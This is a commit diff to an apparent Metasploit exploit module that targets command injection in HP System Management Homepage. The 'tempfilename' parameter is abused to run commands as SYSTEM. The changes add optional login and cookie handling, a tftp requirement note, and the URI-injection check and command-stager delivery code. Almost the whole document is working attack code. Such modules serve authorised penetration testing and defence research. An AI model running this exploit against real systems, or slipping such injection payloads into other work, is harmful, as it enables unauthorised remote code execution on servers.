@@ -21,7 +21,9 @@ def initialize(info={})
21
21
supplying a specially crafted HTTP request, it is possible to control the
22
22
'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc),
23
23
which will be used in a exec() function. This results in arbitrary code execution
24
- under the context of SYSTEM.
24
+ under the context of SYSTEM. Please note: In order for the exploit to work, the
25
+ victim must enable the 'tftp' command, which is the case by default for systems
26
+ such as Windows XP, 2003, etc.
25
27
} ,
26
28
'License' => MSF_LICENSE ,
27
29
'Author' =>
@@ -51,22 +53,48 @@ def initialize(info={})
51
53
'Privileged' => false ,
52
54
'DisclosureDate' => "Jun 11 2013" ,
53
55
'DefaultTarget' => 0 ) )
56
+
54
57
register_options (
55
58
[
56
- Opt ::RPORT ( 2381 )
59
+ Opt ::RPORT ( 2381 ) ,
60
+ # USERNAME/PASS may not be necessary, because the anonymous access is possible
61
+ OptString . new ( "USERNAME" , [ false , 'The username to authenticate as' ] ) ,
62
+ OptString . new ( "PASSWORD" , [ false , 'The password to authenticate with' ] )
57
63
] , self . class )
58
64
end
59
65
66
+
60
67
def peer
61
68
"#{ rhost } :#{ rport } "
62
69
end
63
70
71
+
64
72
def check
73
+ cookie = ''
74
+
75
+ if not datastore [ 'USERNAME' ] . to_s . empty? and not datastore [ 'PASSWORD' ] . to_s . empty?
76
+ cookie = login
77
+ if cookie . empty?
78
+ print_error ( "#{ peer } - Login failed" )
79
+ return Exploit ::CheckCode ::Safe
80
+ else
81
+ print_good ( "#{ peer } - Logged in as '#{ datastore [ 'USERNAME' ] } '" )
82
+ end
83
+ end
84
+
65
85
sig = Rex ::Text . rand_text_alpha ( 10 )
66
86
cmd = Rex ::Text . uri_encode ( "echo #{ sig } " )
67
87
uri = normalize_uri ( "smhutil" , "snmpchp/" ) + "&&#{ cmd } &&echo"
68
88
69
- res = send_request_raw ( { 'uri' => uri } )
89
+ req_opts = { }
90
+ req_opts [ 'uri' ] = uri
91
+ if not cookie . empty?
92
+ browser_chk = 'HPSMH-browser-check=done for this session'
93
+ curl_loc = "curlocation-#{ datastore [ 'USERNAME' ] } ="
94
+ req_opts [ 'cookie' ] = "#{ cookie } ; #{ browser_chk } ; #{ curl_loc } "
95
+ end
96
+
97
+ res = send_request_raw ( req_opts )
70
98
if not res
71
99
print_error ( "#{ peer } - Connection timed out" )
72
100
return Exploit ::CheckCode ::Unknown
@@ -79,18 +107,71 @@ def check
79
107
Exploit ::CheckCode ::Safe
80
108
end
81
109
110
+
111
+ def login
112
+ username = datastore [ 'USERNAME' ]
113
+ password = datastore [ 'PASSWORD' ]
114
+
115
+ cookie = ''
116
+
117
+ res = send_request_cgi ( {
118
+ 'method' => 'POST' ,
119
+ 'uri' => '/proxy/ssllogin' ,
120
+ 'vars_post' => {
121
+ 'redirecturl' => '' ,
122
+ 'redirectquerystring' => '' ,
123
+ 'user' => username ,
124
+ 'password' => password
125
+ }
126
+ } )
127
+
128
+ if not res
129
+ fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - Connection timed out during login" )
130
+ end
131
+
132
+ # CpqElm-Login: success
133
+ if res . headers [ 'CpqElm-Login' ] . to_s =~ /success/
134
+ cookie = res . headers [ 'Set-Cookie' ] . scan ( /(Compaq\- HMMD=[\w \- ]+)/ ) . flatten [ 0 ] || ''
135
+ end
136
+
137
+ cookie
138
+ end
139
+
140
+
82
141
def setup_stager
83
142
execute_cmdstager ( { :temp => '.' } )
84
143
end
85
144
145
+
86
146
def execute_command ( cmd , opts = { } )
87
147
# Payload will be: C:\hp\hpsmh\data\htdocs\smhutil
88
148
uri = Rex ::Text . uri_encode ( "#{ @uri } #{ cmd } &&echo" )
149
+
150
+ req_opts = { }
151
+ req_opts [ 'uri' ] = uri
152
+ if not @cookie . empty?
153
+ browser_chk = 'HPSMH-browser-check=done for this session'
154
+ curl_loc = "curlocation-#{ datastore [ 'USERNAME' ] } ="
155
+ req_opts [ 'cookie' ] = "#{ @cookie } ; #{ browser_chk } ; #{ curl_loc } "
156
+ end
157
+
89
158
print_status ( "#{ peer } - Executing: #{ cmd } " )
90
- res = send_request_raw ( { 'uri' => uri } )
159
+ res = send_request_raw ( req_opts )
91
160
end
92
161
162
+
93
163
def exploit
164
+ @cookie = ''
165
+
166
+ if not datastore [ 'USERNAME' ] . to_s . empty? and not datastore [ 'PASSWORD' ] . to_s . empty?
167
+ @cookie = login
168
+ if @cookie . empty?
169
+ fail_with ( Exploit ::Failure ::NoAccess , "#{ peer } - Login failed" )
170
+ else
171
+ print_good ( "#{ peer } - Logged in as '#{ datastore [ 'USERNAME' ] } '" )
172
+ end
173
+ end
174
+
94
175
@uri = normalize_uri ( 'smhutil' , 'snmpchp/' ) + "&&"
95
176
setup_stager
96
177
end
0 commit comments